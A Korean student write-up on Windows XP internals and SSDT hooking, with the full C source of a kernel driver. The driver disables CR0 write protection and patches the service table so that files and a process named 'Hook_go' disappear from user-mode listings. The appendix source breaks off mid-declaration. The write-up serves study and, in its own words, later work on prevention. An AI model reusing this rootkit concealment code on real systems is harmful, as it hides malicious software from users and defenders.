SSDT HOOKING을이용한프로세스와파일숨기기 이동수 alonglog@is119.jnu.ac.kr
개 요 기존에만들었던메시지후킹프로그램을숨겨보고싶어서 SSDT후킹을공부하였다. 그리고그결과를정리하여이문서를작성하였다. 프로세스를숨기고파일을숨기기위해서 Native API를후킹했다. 메시지후킹과다르게 SSDT후킹은커널모드에서후킹을해야하므로디바이스드라이버로프로그램이작성되어있다. 실행시킨함수가커널로어떻게들어가고작동하는지배우는좋은기회가되었다. 이문서에사용된 OS는 Windows XP Professional SP2이고, 드라이버는 Windows Server 2003 SP1 DDK 3790.1830을이용하여작성하였다.
Content 1. 목적 1 2. WINDOWS SYSTEM 2 2.1. WINDOWS ARCHITECTURE 2 2.2. Native API 3 2.3. System Service Descriptor Table 5 3. What is the Automata 9 3.1. RING 9 3.2. 디바이스드라이버 10 3.3. SSDT Hooking 12 4. 실험및결과 24 5. 결론 29 참고문헌 30 첨부 31
1. 목적 이번기술문서의주제는 SSDT Hooking 이다. 기존에공부하여만들어보았던 Message Hooking 프로그램은응용프로그램으로생성되진않았지만작업관리자로확인이가능했고, 만들어진파일도쉽게확인이가능하였다. 그래서쉽게확인이가능한프로세스와파일을 Native API를 Hooking하여유저모드에서는확인이힘들도록만들어보고싶었다. 그러기위해서는 Native API의목록을관리하는 SSDT를 Hooking해야된다. 이문서에서는프로세스목록을검색하는 ZwQuerySystemInformation함수와 ZwQueryDirectoryFile함수를 Hooking 할것이다. - 1 -
2. WINDOWS SYSTEM SSDT는커널에존재하는 Native API를관리하는테이블이다. SSDT Hooking에들어가기전에 WINDOWS의구조를살펴보고가자. 2.1. WINDOWS ARCHITECTURE [ 그림 1] 은 'Microsoft Windows Internals' 에서발췌한간단한 Windows Architecture 이다. [ 그림 1] 단순화시킨 Windows Architecture [ 그림 1] 에서보는것같이 Windows는유저모드와커널모드로나누어져있다. 유저모드에서실행되는모든프로세스는최종적으로커널모드로내려와서실행이되는구조이다. 이것은유저모드의프로세스는직접적으로하드웨어장치 (I/O, 메모리등 ) 에접근할수없다는것을보여준다. 그래서유저모드의프로세스는 Subsystem DLL을호출하여커널모드로접근하게된다. 커널에서작동하는프로세스는직접적으로하드웨어장치에접근이가능하다. 대표적인예로는디바이스드라이버가있다. 이문서에서도디바이스드라이버를작성하여 SSDT Hooking을하였다. 커널모드의구성요소를살펴보고넘어가자. Executive - 메모리관리, 프로세스그리고스레드관리, 보안, I/O, 네트워킹, IPC같은기본운영체제서비스들을포함한다. Kernel - 스레드스케줄링, 인터럽트, 멀티프로세서동기화등과같은저수준운영체제함수들로구성된다. Device Driver - I/O요청을처리하는하드웨어장치드라이버와파일시스템, 네트워크드라이버들을포함한다. HAL - 커널, 장치드라이버그리고플랫폼지향적하드웨어의차이로부터장치드라이버들뿐만아니라파일시스템과네트워크드라이버들을포함한다. - 2 -
Windowing and graphics - GUI 함수들을구현한다. 2.2. Native API 유저모드의프로세스는하드웨어장치에접근하기위해서는커널모드로넘어가야한다. 유저모드에서많이사용되는 Win32 API에는커널모드로넘어가는루틴이포함되어있다. 커널모드로넘어갔다면커널모드에서작동하는함수들을호출하여메모리에접근하거나 I/O장치에접근하는서비스들을수행한다. 이때, 커널모드에서작동하는함수들을 Native API라고부른다. 그리고 Windows는유저모드에서작동하는코드에서커널모드에서작동하는코드로바로넘어가는것을금지하고있다. 예를통해좀더구체적으로알아보자. Win32 API중에서파일을검색해주는 FindNext 함수가존재한다. 이함수가어떻게동작하는지를통해유저모드의함수즉, Win32 API가커널모드의함수를어떻게호출하는지확인해보자. 아래그림들은 OllyDbg를사용해유저모드의프로그램을디버깅한것이다. [ 그림 2] FindNextFileA 함수진입점 [ 그림 3] FindNextFileW 함수진입점 [ 그림 2] 와 [ 그림 3] 은 FindNextFileA 함수와 FindNexFileW 함수의진입점을보여주고있다. 이함수들의차이점은인자값이다. FindNextFileA 함수는 ANSI 기반의문자열을사용한다. 하지만, FindNextFileW 함수는유니코드를사용한다. 일반적으로유저모드에서사용하는 Win32 API는 ANSI를사용하지만커널모드의 Native API는유니코드를사용한다. [ 그림 2] 와 [ 그림 3] 에서볼수있듯이 FindNextFileA 함수는 ANSI를유니코드로바꾼후 FindNextFileW 함수를호출한다. 더따라들어가보자. [ 그림 4] ZwQueryDirectoryFile 함수진입점 - 3 -
코드를따라가면 [ 그림 4] 와같이 ntdll.dll이포함하고있는 ZwQueryDirectoryFile 함수를호출하고있는것을확인할수있다. 이함수가바로 Native API이다. 아래에서확인하겠지만 Native API 함수는보통 Zw" 로시작하는함수와 Nt" 로시작하는함수들이다. 이두함수의차이점은 Nt 시작되는 Native API를확인할때알아보겠다. 코드를더따라가보자 [ 그림 5] KiFastSystemCall 함수진입점 [ 그림 6] 커널모드진입점 코드를따라가보면 [ 그림 5] 와같이 KiFastSystemCall을호출하는것을볼수있다. 더따라가보면 [ 그림 6] 에서확인할수있듯이 "sysenter" 라는명령어가보인다. 이명령어가바로유저모드에서커널모드로넘어가는지점이다. Windows XP 이전버전의운영체제에서는 INT 2E 라는명령어를사용하였으나성능상의이유로 "sysenter" 를사용하고있다. OllyDbg는유저모드디버거라 [ 그림 6] 에서더따라가면바로 return루틴으로가버린다. 그래서이후디버깅은 Microsoft사에서무료로배포하고있는 WinDbg를이용하였다. 위에서 Native API는 Zw 나 Nt 로시작한다고했었다. 이둘의차이점은무엇일까? [ 그림 5] 를보면 ZwQueryDirectoryFile 함수는 KiFastSystemCall 함수를호출하고리턴해버린다. 즉, ZwQueryDirectoryFile 함수는실제적으로서비스를처리하는루틴을가지고있지않다. NtQueryDirectoryFile 함수가실제적으로서비스를처리하는루틴을가지고있다. 정리해보면 ZwQueryDirectoryFile 함수가 KiFastSystemCall 함수를서비스번호를인자로주고호출하면 KiFastSystemCall 함수는 "System Service Dispatch Table" 를참조하여 NtQueryDirectoryFile 함수를호출하는것이다. 즉, Zw 로시작하는 Native API는서비스를처리하는함수를가지고있는게아니라단지 Nt 로시작하는함수를가리키고있는것이다. WinDbg에서 u nt!ntquerydirerctoryfile" 을입력하여확인해보자. - 4 -
[ 그림 7] NtQueryDirectoryFile 함수 [ 그림 8] 은위에서살펴본내용들을간단하게요약한그림이다. [ 그림 8] Native API 호출과정 2.3. System Service Descriptor Table 시스템서비스디스패처인 KiSystemService는인자로받은시스템서비스인덱스번호를가지고 System Service Descriptor Table을참조하여해당인덱스의서비스를호출하여실행시킨다. System Service Descriptor Table( 이하 SSDT) 은해당서비스함수의시작주소를가지고있는 Table이다. KiSystemService가참조하는테이블들을알아보자. 먼저 System Service Table을살펴보자. typedef struct ServiceDescriptorTable SDE ServiceDescriptor[4]; - 5 -
SDT; 각스레드는최대 4개까지 ServiceDescriptor를가질수있다. SDE 구조체를살펴보자. typedef struct ServiceDescriptorEntry PDWORD KiServiceTable; PDWORD CounterTableBase; DWORD ServiceLimit; PBYTE ArgumentTable; SDE; SDE 구조체는위와같은구조를가진다. 각인자를살펴보자. 먼저 KiServiceTable" 은우리가 Hooking할 SSDT를가르키고있는포인터이다. 두번째인자는항상 0으로셋팅되어있는데무슨용도로쓰이는지는모르겠다. SSDT Hooking에필요한건아니기때문에그냥넘어갔다. 세번째인자는 SSDT에포함된 Native API의개수를나타내고있다. 네번째인자는서비스함수를호출할때사용되는인자의크기를가지고있는테이블의주소이다. WinDbg를이용하여따라가보자. [ 그림 9] 는 WinDbg를통해알아본 SDE를보여주고있다. [ 그림 9] ServiceDescriptorTable [ 그림 9] 에서볼수있듯이 SSDT의주소는 0x804e4d20이다. 그리고세번째인자를통해서 SSDT에포함되어있는 Native API의개수가 284인것을확인할수있다. [ 그림 9] 에서확인한 SSDT의주소를따라가보자 [ 그림 10] 은 WinDbg를통해확인한 SSDT이다. - 6 -
[ 그림 10] System Service Descriptor Table [ 그림 10] 에서확인할수있듯이 SSDT는 Native API의시작루틴주소를가지고있었다. 앞에서예로들었던 NtQueryDirectoryFile 함수를찾아보자. 앞에서도언급했듯이 "Zw" 로시작하는 Native API는시스템서비스인덱스넘버를인자로주고 KiSystemService(OllDbg로디버깅할경우 KiFastSystemCall을호출하는데 WinDbg를통해디버깅을해보면 KiSystemService 를호출하는것을확인할수있다. 결과가다른이유는서로참조하는심볼이다르기때문인듯싶다.) 를호출하면, 이함수는 SSDT에서인자로넘어온인덱스에있는함수를호출한다. NtQueryDirectoryFile 함수를찾기위해서는 ZwQueryDirectoryFile 함수에서인자로넘기는인덱스넘버를확인해보면된다. [ 그림 11] 은 WinDbg를통해살펴본ZwQueryDirectoryFile 함수의루틴을보여주고있다. [ 그림 11] 시스템서비스인덱스번호 [ 그림 11] 에서확인할수있듯이 ZwQueryDirectoryFile 함수는인덱스번호로 0x91을넘겨준다. SSDT의 0x91번째테이블에 NtQueryDirectoryFile 함수의시작루틴주소가있다는말이다. SSDT의시작주소는 0x804e4d20이고, 한공간마다 4바이트씩차지하므로 0x804e4d20+(0x91*4) 에 NtQueryDirectoryFile의시작루틴주소가저장되어있다. WinDbg를통해직접확인해보자. - 7 -
[ 그림 12] NtQueryDirectoryFile 함수 [ 그림 12] 에서확인할수있듯이 ZwQueryDirectoryFile 함수가넘겨준인자가가리키는 SSDT 의주소는 NtQueryDirectoryFile 함수였다. [ 그림 13] 은 Native API가실행되기까지의모습을간략하게보여주고있다. [ 그림 13] 커널모드에서 Native API 호출과정 - 8 -
3. SSDT Hooking 앞에서 SSDT Hooking에관련된윈도우구조를살펴보았다. 이제본격적으로프로세스와파일을숨기기위한 SSDT Hooking을시작해보자. [ 그림 14] 는 SSDT Hooking의개요를간단하게보여주고있다. [ 그림 14] SSDT Hooing 개요 (Inside Windows Rootkits 발췌 ) [ 그림 14] 에서확인할수있듯이 SSDT Hooking은원하는 Native API의주소를가지고있는 SSDT 공간을내가원하는주소공간으로바꾸어놓는것이다. SSDT는커널모드에서접근이가능한메모리공간에위치한다. 따라서일반유저모드의어플리케이션으로는접근자체가불가능하다. SSDT에접근하기위해서는디바이스드라이버를이용해야한다. SSDT Hooking에들어가기전에디바이스드라이버에대한지식을간단하게정리하고넘어가자. SSDT Hooking에필요한내용만집고넘어가기때문에자세한정보는전문서적을참고하기바란다. 3.1. RING 디바이스드라이버에들어가기전에 Ring 에대해서알아보고넘어가자. Windows에서 RING은권한을나타낸다. 앞에서말했던커널모드는 Ring0, 유저모드는 Ring3이다. [ 그림 15] 는 x86에서지원하는 Ring 모델의구조를보여준다. - 9 -
[ 그림 15] Windows 의 Ring 구조 [ 그림 15] 에서볼수있듯이 Ring0의권한이가장높고 Ring3의권한이가장낮다. 그리고권한이낮은 Ring은권한이높은 Ring의메모리에접근자체가불가능하다. 참고로 Windows는 Ring0과 Ring3만을사용한다. 디바이스드라이버는유저모드의어플리케이션이커널모드로들어가기위해서걸쳐야했던과정을거치지않고직접적으로커널모드에접근이가능하다. 다음챕터에서디바이스드라이버에대해간단히알아보고본격적으로 SSDT Hooking에들어가보자. 3.2. 디바이스드라이버 Windows에서는 WDM(Windows Driver Model) 이라는모델을제시하여디바이스드라이버를쉽게설계하도록하고있다. 디바이스드라이버는아래와같이 4 개의기본골격으로구성된다. DirverEntry Routine - C언어에서 Main() 과같은디바이스드라이버의시작점이다. 이루틴은디바이스드라이버가로드될때한번만실행된다. AddDeviceRoutine - 새로운디바이스를추가하고자할때사용되는부분이다. IRP Dispatch Routine - 디바이스와 I/O Manager 사이에서명령을전달하는역할을하는구조체이며그실체는하나의버퍼에불과하다. 유저모드의프로그램은파일입출력을할때 IRP를이용한다. DriverUnload Routine - 드라이버를언로드할때수행되는부분이다. - 10 -
디바이스드라이버는컴파일할때특별한 2개의파일이필요하다. Sources 파일과 Makefile 이다. 아래소스는 Sources 파일의기본구조를보여준다. TARGETNAME = "DRIVER NAME" // 컴파일된후의파일명 TARGETPATH = "DIRECTORY NAME" // 컴파일될장소 TARGETTYPE = "DRIVER TYPE" // 디바이스드라이버타입 # 부가적인요소 TARGETLIBS = "PATH" // 필요한라이브러리파일경로 # 없어도무관함 SOURCES = "FILE NAME" // 컴파일할파일명 위소스중 TARGETLIBS를제외하고는필수적으로작성해야한다. 아래소스는 Makefile을보여주고있다.!INCLUDE $(NTMAKEENV) makefile.def C언어를처음공부할때작성하는 Hello World" 를출력하는간단한디바이스드라이버를작성하여보겠다. 아래와같이소스를작성하여보자. #include "ntddk.h" VOID OnUnload(IN PDRIVER_OBJECT DriverObject) DbgPrint("Unload Success!! n"); NTSTATUS DriverEntry(IN PDRIVER_OBJECT thedriverobject, IN PUNICODE_STRING theregistrypath) DbgPrint("Hello World! n"); thedriverobject->driverunload = OnUnload; return STATUS_SUCCESS; 위소스에대해간단한설명을하고넘어가겠다. DbgPrint 함수는디버깅메시지로원하는문자열을출력시켜준다. 유저모드에서는볼수없으며커널디버깅중이나특별한프로그램을 - 11 -
이용하여확인할수있다. thedriverobject->driverunload" 는드라이버가언로드될때실행될루틴을지정하는부분이다. 이드라이버는간단하게로드될때 "Hello World! 라는문자열을출력하고언로드될때 Unload Success!!" 라는문자열을출력할것이다. 디바이스드라이버는유저모드의어플리케이션처럼실행이가능한프로그램이아니다. 로드하는툴을이용하여로드하여야실행이가능하다. 이문서에서 Rootkit.com의 InstDrv와디버깅메시지를확인할수있는 sysinternals의 Debugview를사용하였다. [ 그림 16] 은드라이버가로드되고언로드될때출력하는메시지를보여준다. [ 그림 16] 드라이버실행 디바이스드라이버의영역은엄청넓다. SSDT Hooking을할때, 필요한디바이스드라이버지식은이정도면충분하므로본격적으로 SSDT Hooking의세계로들어가보자. 3.3. SSDT Hooking 앞에서 SSDT Hooking의간단한개요를살펴보았다. 간단하게말하면디바이스드라이버를작성하여 SSDT의 Hooking 하고자하는함수의주소를가지고있는테이블의값을내가원하는주소로바꿔치기하면된다. 하지만여기에서한가지문제가생긴다. SSDT는속성이 Read Only이기때문에값을바꾸면블루스크린을띄워버린다. 이는 Windows가메모리를보호하기위해 Write Protection이라는기법을이용하여메모리의쓰기권한을삭제하였기때문이다. SSDT Hooking을하기위해서는이 Write Protection( 이하 WP) 기법을무력화시켜야한다. 무력화시키는방법은 CR0 레지스터를이용하는방법과 MDL(Memory Descriptor List) 를이용하는방법등이있다. 이문서에서는 CR0를이용한방법을소개할것이다. CR(Control Register) 는현재수행중인태스크의특성과프로세스의동작모드를결정하는특별한레지스터이다. [ 그림 17] 은 somma님의블로그에서발췌한 CR의구조이다. - 12 -
[ 그림 17] CR 필드값 5개의 CR이존재한다. 우리에게필요한부분은 CR0이다. CR0의필드을보면 WP라는부분이보인다. 이부분은앞에서말했던 WP를설정하는필드이다. 이필드값이 0이면 Write Protect 를무력화시킬수있다. [ 그림 18] 에나와있는소스를이용하면쉽게 WP 를무력화시킬수있다. [ 그림 18] WP 무력화코드 - 13 -
이로써 SSDT 를 Hooking 할준비는모두갖추어졌다. 이문서의목표인프로세스와파일을숨겨보자. Windows는파일을검색하기위해 NtQueryDirectoryFile 함수를이용하며, 프로세스정보를얻기위해서는 NtQuerySystemInformation 함수를이용한다. 그럼이 Native API의주소를가지고있는 SSDT안에서의인덱스를확인해보자. 앞에서살펴보았듯이 "Zw" 로시작하는 Native API는시스템서비스인덱스넘버를인자로넘겨준다. ZwQueryDirectoryFile 함수와 ZwQuerySystemInformation 함수를통해시스템서비스인덱스넘버를확인해보자. [ 그림 19] 와 [ 그림 20] 은 WinDbg를통해확인한두함수의시스템서비스인덱스넘버를보여준다. [ 그림 19] NtQueryDirectoryFile 인덱스 [ 그림 20] NtQuerySystemInformation 인덱스 [ 그림 19] 와 [ 그림 20] 에서확인할수있듯이 NtQueryDirectoryFile 함수의인덱스는 0x91이고, NtQuerySystemInformtion 함수의인덱스는 0xAD이다. SSDT의 0x91번째와 0xAD번째에저장된주소가두 Native API인지확인하여보자. [ 그림 21] NtQueryDirectoryFile 함수 - 14 -
[ 그림 22] NtQuerySystemInformation [ 그림 21] 과 [ 그림 22] 에서확인할수있듯이 [ 그림 19] 과 [ 그림 20] 에서확인한인덱스넘버는정확하다. 즉, "Zw" 로시작하는 Native API의시작루틴에서 1byte를건너면실제서비스루틴의주소가저장되어있는 SSDT의인덱스넘버이다. SSDT Hooking을하기위해서는 Hooking 하고자하는 Native API의인덱스넘버를알아야하므로저숫자는상당히중요하다. Hooking 하고자하는 Native 함수의주소를담고있는 SSDT의주소는 [ 그림 23] 에서보여주는매크로를통해쉽게구할수있다. [ 그림 23] SSDT 의주소를구하는매크로 Syscall_Index는인자로넘어오는함수의시작주소에 1byte 떨어진곳의메모리값을리턴한다. 즉, 시스템서비스인덱스넘버를리턴한다. Syscall_Index는해당서비스의 Syscall_Ptr은인자로넘어오는함수를인자로 Syscall_Index를호출한후리턴된값 ( 인덱스넘버 ) 에해당하는 SSDT의주소를반환한다. Hooking 하고자하는위치의주소도구했으니이메모리의값을내가원하는주소로바꾸어보자. InterlocdedExchange 함수를이용하면쉽게메모리값을바꿀수있다. InterlockedExchange 함수는두개의인자값이일치하지않을경우첫번째인자가지정하는메모리의값을두번째인자로바꾼다. [ 그림 24] 는내가테스트할때사용하였던소스에서발췌하였다. - 15 -
[ 그림 24] ZwQueryDirectFile과 ZwQuerySystemInformation Hooking [ 그림 24] 와같이쉽게주소값을바꿔칠수가있다. 주소값을바꿨으면 Hooking에성공한거나다름없다. 이제프로세스와파일을숨기기위한새로운함수를작성하여보자. [ 그림 25] 와아래소스는파일을감추기위한 FileInformation 구조체와 Hooking 함수인 NewZwQueryDirectoryFIle 함수는보여주고있다. [ 그림 25] FileInformation 구조체 // 새로운 ZwQueryDirectoryFile NTSTATUS NewZwQueryDirectoryFile( IN HANDLE filehandle, IN HANDLE Event OPTIONAL, IN PIO_APC_ROUTINE ApcRoutine OPTIONAL, IN PVOID ApcContext OPTIONAL, OUT PIO_STATUS_BLOCK IoStatusBlock, OUT PVOID FileInformation, IN ULONG Length, IN FILE_INFORMATION_CLASS FileInformationClass, IN BOOLEAN ReturnSingleEntry, IN PUNICODE_STRING FileName OPTIONAL, IN BOOLEAN RestartScan) - 16 -
NTSTATUS ntstatus; //NtQueryDirectoryFile 함수호출 ntstatus = ((ZWQUERYDIRECTORYFILE)(OldZwQueryDirectoryFile)) ( filehandle, Event, ApcRoutine, ApcContext, IoStatusBlock, FileInformation, Length, FileInformationClass, ReturnSingleEntry, FileName, RestartScan); if( NT_SUCCESS(ntStatus)) //FileInformation 구조체 struct _FILE_INFORMATION *curr = (struct _FILE_INFORMATION *)FileInformation; struct _FILE_INFORMATION *prev = NULL; DbgPrint(" n"); while(curr) if (curr->filename!= NULL) // 파일명이 "Hook" 으로시작하거나 "TestFile.txt" 인경우 if((0 == memcmp(curr->filename, L"Hook", 8)) (0 == memcmp(curr->filename, L"TestFile.txt", 24))) // 전 FileInformation이존재하는경우 if(prev) // 전 FileInformation의 NetxtEntryOffset에 // 다음 FileInformation의위치를저장한다. if(curr->nextentryoffset) prev->nextentryoffset += curr->nextentryoffset; // 마지막프로세서일경우 else prev->nextentryoffset = 0; // 전 FileInformation이존재하지않는경우 else // 다음 FileInformation이존재하는경우 if(curr->nextentryoffset) // 다음 FileInformation을맨앞의 FileInformation으로만든다. (char *)FileInformation += curr->nextentryoffset; - 17 -
// 마지막프로세서일경우 else FileInformation = NULL; // 현재 FileInformation을저장 prev = curr; // 다음 FileInformation으로넘어감 if(curr->nextentryoffset ) ((char *)curr += curr->nextentryoffset); else curr = NULL; return ntstatus; [ 그림 25] 는 MSDN에서발췌한구조체이다. 이구조체는파일을검색할때사용되는 Native API인 NtQueryDirectoryFile 함수가검색한파일의정보를저장하는데사용한다. 위소스에대해간단히설명하고넘어가자. NtQueryDirectoryFile 함수가리턴한 FileInformation 구조체에는다음파일의 FileInformation의 offset을가지고있다. 그래서디렉토리내의파일을검색할때는 NtQueryDirectoryFile 함수가한번호출되고, offset 값을이용하여순회한다. 일단 ZwQueryDirectoryFile 함수를이용하는함수시작부분에서실제 NtQueryDirectoryFile 함수를호출하여 FileInformation 구조체값을받아온다. 그후에다음 FileInformation이존재하지않을때까지순환하여숨기고자하는파일이름이존재하는지체크한다. 만일존재하면이전 FileInformation의 offset값을현재의 FileInformation이아닌다음 FileInformation을가리키도록설정한다. 이과정을거친후서비스를요청한유저모드의어플리케이션에게구조체가넘어가면 [ 그림 26] 과같이유저모드의어플리케이션은첫번째 FileInformation 구조체에서두번째구조체가아닌세번째구조체로순환하게된다. 즉, 유저모드에서는저파일이존재하는지확인할수가없다. - 18 -
[ 그림 26] FileInformation 순환 함수가 Hooking 되면 [ 그림 26] 에서보는것같이정상적인루틴이아닌인의적으로루틴을바꿀수있다. 파일을숨기기위한 Hooking 함수는만들었으니이제프로세스를숨기기위한함수를작성하여보자. [ 그림 27] 은 NtQuerySystemInformation 함수가사용하는 SystemInformation 구조체를보여준다. - 19 -
[ 그림 27] SystemInformation 구조체 [ 그림 27] 의 SystemInformation 구조체는프로세스의정보를가지고있다. 앞에서살펴보았던 FileInformation 구조체와마찬가지로 offset 값을가지고있어다음 SystemInformation 구조체를가리키고있다. 아래소스는 ZwQuerySystemInformation 의 Hooking 함수이다. // 새로운 ZwQuerySystemFile NTSTATUS NewZwQuerySystemInformation( IN ULONG SystemInformationClass, IN PVOID SystemInformation, IN ULONG SystemInformationLength, OUT PULONG ReturnLength) NTSTATUS ntstatus; //NtQuerySystemInfrormation 함수호출 ntstatus = - 20 -
((ZWQUERYSYSTEMINFORMATION)(OldZwQuerySystemInformation)) ( SystemInformationClass, SystemInformation, SystemInformationLength, ReturnLength ); if( NT_SUCCESS(ntStatus)) if(systeminformationclass == 5) struct _SYSTEM_PROCESSES *curr = (struct _SYSTEM_PROCESSES *)SystemInformation; struct _SYSTEM_PROCESSES *prev = NULL; while(curr) if (curr->processname.buffer!= NULL) // 프로세스명이 "Hook_go" 인경우 if(0 == memcmp(curr->processname.buffer, L"Hook_go", 14)) // 전 SystemInformation이존재하는경우 if(prev) // 전 SystemInformation의 NetxtEntryDelta에 // 다음 SystemInformation의위치를저장한다. if(curr->nextentrydelta) prev->nextentrydelta += curr->nextentrydelta; // 마지막프로세서일경우 else prev->nextentrydelta = 0; // 전 SystemInformation이존재하지않는경우 else // 다음 SystemInformation을 // 맨앞의 SystemInformation으로만든다. if(curr->nextentrydelta) (char *)SystemInformation += - 21 -
curr->nextentrydelta; // 마지막프로세서일경우 else SystemInformation = NULL; // 현재 SystemInformation을저장 prev = curr; // 다음 SystemInformation으로넘어감 if(curr->nextentrydelta) ((char *)curr += curr->nextentrydelta); // 다음 SystemInformation이존재하지않는다면 else curr = NULL; return ntstatus; Hooking 함수인 NewZwQuerySystemInformation 함수를간단하게넘어가자. 앞에서설명했던 NewZwQueryDirectoryFile 함수와비슷한루틴을가지고있다. 실제 Native API인 NtQuerySystemInformation 함수를호출하여받은 SystemInformation 구조체를이용하여다음프로세스가존재하지않을때까지순환한다. 그러다자신이숨기고자하는프로세스가나오면이전 SystemInformation 구조체멤버중다음구조체를가리키는변수에현재구조체가아닌다음구조체를나타내도록처리한다. 이과정을거치면유저모드에서받은리턴값은앞에설명했던 FileInformation 구조체와마찬가지로정상적인루틴이아닌인위적인루틴으로순환한다. [ 그림 27] 은위에서말한인위적인루틴을보여준다. - 22 -
[ 그림 28] SystemInformation 순환 Hooking함수까지작성하였다. 이제이디바이스드라이버가제대로작동하는지확인하여보자. 참고로이문서에서작성한소스는 Rootkit : 윈도우커널조작의미학 에나온소스를토대로작성하였다. - 23 -
4. 실험및결과 우선기존에작성했던 Message Hooking 프로그램인 Hook_go" 를실행시켜보자. [ 그림 29] Message Hooking 프로그램 잘동작하는지확인해보자 - 24 -
[ 그림 30] Message Hooking [ 그림 30] 에서확인할수있듯이잘동작하고있다. 그럼이제앞에서작성한디바이스드라이버를로드하여프로세스와 Message Hooking 프로그램이담겨져있는디렉토리와 "TestFile" 을숨겨보자. [ 그림 31] 은디바이스드라이버를로딩하는것을보여준다. [ 그림 31] 디바이스드라이버로드 [ 그림 32] 는디바이스드라이버로드후결과를보여준다. - 25 -
[ 그림 32] 프로세스검색결과 [ 그림 32] 에서확인할수있듯이 Hook_go 라는프로세서가보이지않는것을확인할수있다. 파일도숨겨졌는지확인하여보자. [ 그림 33] 파일목록검색결과 - 26 -
[ 그림 33] 을보면 [ 그림 30] 과다르게 Hook_go라는디렉토리와 TestFile이라는파일이보이지않는것을확인할수있었다. 작성한디바이스드라이버가잘작동하는것을확인할수있었다. 그럼로드후 SSDT에무슨일이일어났는지 WinDbg를이용해확인하여보자. [ 그림 19] 와 [ 그림 20] 에서확인했었듯이 ZwQueryDirectoryFile 함수의서비스넘버는 0x91이고, ZwQuerySystemInformation 함수의서비스넘버는 0xAD이다. 그럼 WinDbg를이용해 SSDT의 0x91 번째와 0xAD 번째의테이블값을확인하여보자. [ 그림 34] 와 [ 그림 35] 를통해 SSDT에무슨일이일어났는지확인할수있다. [ 그림 34] SSDT 의 0x91 번째테이블값 [ 그림 34] 에서볼수있듯이 NtQueryDirectoryFile 함수의시작루틴을가리켜야할값이이상한곳을가리키고있다. 테이블값을따라가보면작성한디바이스드라이버의한부분을가리키는것을확인할수있다. [ 그림 35] SSDT 의 0xAD 번째테이블값 [ 그림 35] 에서확인할수있는내용도 [ 그림 34] 와마찬가지로 NtQuerySystemInformation의시작루틴을가리켜야할값이이상한값으로바뀌어져있 - 27 -
고, 이값은작성된디바이스드라이버의한부분을가리키고있다. 성공적으로 SSDT 의테이블값을바꾸어원하는곳의함수를호출시켰다. - 28 -
5. 결론 유저모드에서는접근조차불가능한영역을마음대로컨트롤할수있는사실이무척이나새로웠다. SSDT Hooking을공부하면 Windows의새로운영역을확인할수있어서좋았다. 확실히커널모드에서후킹이되면유저모드에서는확인자체가불가능하다. 물론현재출시된백신들은대부분의커널 Hooking 프로그램을탐지한다. 앞으로다양한커널 hooking 공부를해서다양한루트킷을접해보고예방방법에대해서도공부해야겠다. - 29 -
참고문헌 [1] 김상형, " 윈도우즈 API 정복 1", 한빛미디어 ( 주 ), June 2006 [2] Mark E. Russinovich ㆍ David A. Solomon, "WIDOWS INTERNALS 4th", 정보문화사, January 2006 [3] Greg Hoglund ㆍ Jamie Butler, " 루트킷 : 윈도우커널조작의미학 ", 에이콘, July 2008 [4] somma, "somma.egloos.com" [5] Jerald Lee, "SSDT Hooking", January 2007-30 -
첨부 SSDT Hooking 을공부하면서작성한소스이다. #include "ntddk.h" #pragma pack(1) //SDE 구조체선언 typedef struct ServiceDescriptorEntry unsigned int *ServiceTableBase; unsigned int *ServiceCounterTableBase; unsigned int NumberOfServices; unsigned char *ParamTableBase; ServiceDescriptorTableEntry_t, *PServiceDescriptorTableEntry_t; #pragma pack() //SSDT 임포트 declspec(dllimport) ServiceDescriptorTableEntry_t KeServiceDescriptorTable; //SSDT 주소를리던하는매크로 #define Syscall_Index(_Func) *(PULONG) ((PUCHAR)_Func+1) #define Syscall_Ptr(_Org_Func) &(((PLONG)KeServiceDescriptorTable.ServiceTableBase)[Syscall_Index(_Org_Func)]) //WP 무력화를위한 bit mask #define SetCr_Mask 0x0FFFEFFFF //FileInfromation 구조체선언 struct _FILE_INFORMATION ULONG NextEntryOffset; ULONG FileIndex; LARGE_INTEGER CreationTime; LARGE_INTEGER LastAccessTime; LARGE_INTEGER LastWriteTime; LARGE_INTEGER ChangeTime; LARGE_INTEGER EndOfFile; LARGE_INTEGER AllocationSize; ULONG FileAttributes; ULONG FileNameLength; ULONG EaSize; CCHAR ShortNameLength; WCHAR ShortName[12]; WCHAR FileName[1]; ; //SystemInformation 구조체선언 struct _SYSTEM_THREADS LARGE_INTEGER KernelTime; - 31 -
; LARGE_INTEGER LARGE_INTEGER ULONG PVOID CLIENT_ID KPRIORITY KPRIORITY ULONG ULONG KWAIT_REASON UserTime; CreateTime; WaitTime; StartAddress; ClientIs; Priority; BasePriority; ContextSwitchCount; ThreadState; WaitReason; //SystemInformation 구조체선언 struct _SYSTEM_PROCESSES ULONG ULONG ULONG LARGE_INTEGER LARGE_INTEGER LARGE_INTEGER UNICODE_STRING KPRIORITY ULONG ULONG ULONG ULONG VM_COUNTERS IO_COUNTERS struct _SYSTEM_THREADS ; NextEntryDelta; ThreadCount; Reserved[6]; CreateTime; UserTime; KernelTime; ProcessName; BasePriority; ProcessId; InheritedFromProcessId; HandleCount; Reserved2[2]; VmCounters; IoCounters; //windows 2000 only Threads[1]; NTSYSAPI NTSTATUS NTAPI ZwQuerySystemInformation( IN ULONG SystemInformationClass, IN PVOID SystemInformation, IN ULONG SystemInformationLength, OUT PULONG ReturnLength); NTSYSAPI NTSTATUS NTAPI ZwQueryDirectoryFile( IN HANDLE filehandle, IN HANDLE Event OPTIONAL, IN PIO_APC_ROUTINE ApcRoutine OPTIONAL, IN PVOID ApcContext OPTIONAL, OUT PIO_STATUS_BLOCK IoStatusBlock, OUT PVOID FileInformation, IN ULONG Length, IN FILE_INFORMATION_CLASS FileInformationClass, - 32 -
); IN BOOLEAN ReturnSingleEntry, IN PUNICODE_STRING FileName OPTIONAL, IN BOOLEAN RestartScan typedef NTSTATUS (*ZWQUERYSYSTEMINFORMATION)( ULONG SystemInformationCLass, PVOID SystemInformation, ULONG SystemInformationLength, PULONG ReturnLength ); typedef NTSTATUS (*ZWQUERYDIRECTORYFILE)( IN HANDLE filehandle, IN HANDLE Event OPTIONAL, IN PIO_APC_ROUTINE ApcRoutine OPTIONAL, IN PVOID ApcContext OPTIONAL, OUT PIO_STATUS_BLOCK IoStatusBlock, OUT PVOID FileInformation, IN ULONG Length, IN FILE_INFORMATION_CLASS FileInformationClass, IN BOOLEAN ReturnSingleEntry, IN PUNICODE_STRING FileName OPTIONAL, IN BOOLEAN RestartScan ); // 기존의함수주소저장을위한변수 ZWQUERYSYSTEMINFORMATION 